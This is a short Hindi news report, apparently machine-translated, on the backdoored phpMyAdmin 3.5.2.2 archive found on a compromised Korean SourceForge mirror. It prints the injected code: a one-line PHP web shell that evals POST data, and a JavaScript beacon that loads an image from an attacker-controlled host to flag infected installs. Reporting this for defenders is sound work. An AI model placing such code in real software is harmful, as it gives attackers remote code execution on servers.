PhpMyAdmin में पिछले दरवाजे

25 सितंबर को, यह ज्ञात हो गया कि SourceForge (cdnetworks-kr-1) के कोरियाई दर्पणों में से एक में समझौता किया गया था।

इस दर्पण पर स्थित phpMyAdmin-3.5.2.2-all-languages.zip संग्रह में एक बैकडोर लागू किया गया है।

सर्वर_sync.php फ़ाइल को कोड से जोड़ा गया, जिसमें कोड है:

<?php @eval($_POST['c']);?> 

मनमाने कोड के निष्पादन की अनुमति।

इसके अलावा, js / cross_framing_protection.js फ़ाइल को संशोधित किया गया था, इसमें कोड जोड़ा गया था:

 var icon ; icon = document.createElement("img"); icon.src="http://logos.phpmyadmin-images.net/logo/logos.jpg"; icon.width=0; icon.height=0; document.body.appendChild(icon); 

एक हमलावर को संक्रमित प्रतियों के बारे में जानने की अनुमति देता है।

फिलहाल, समझौता किए गए दर्पण को रोटेशन से बाहर रखा गया है।

SourceForge लॉगिंग टीम ने निर्धारित किया कि इस फ़ाइल को डाउनलोड करने वाले लगभग 400 लोग थे। डाउनलोड करने वाले सभी लोगों को एक चेतावनी भेजी गई थी, जो पहचानने में सक्षम थे।

इस भेद्यता के लिए एक शोषण पहले से ही Metasploit पैकेज में शामिल है।

सूत्रों का कहना है:
कोरियाई दर्पण सर्वर पर phpMyAdmin दूषित प्रतिलिपि
PMASA-2012-5
संकलित SourceForge दर्पण
Phpmyadmin पिछले दरवाजे के लिए शोषण जोड़ें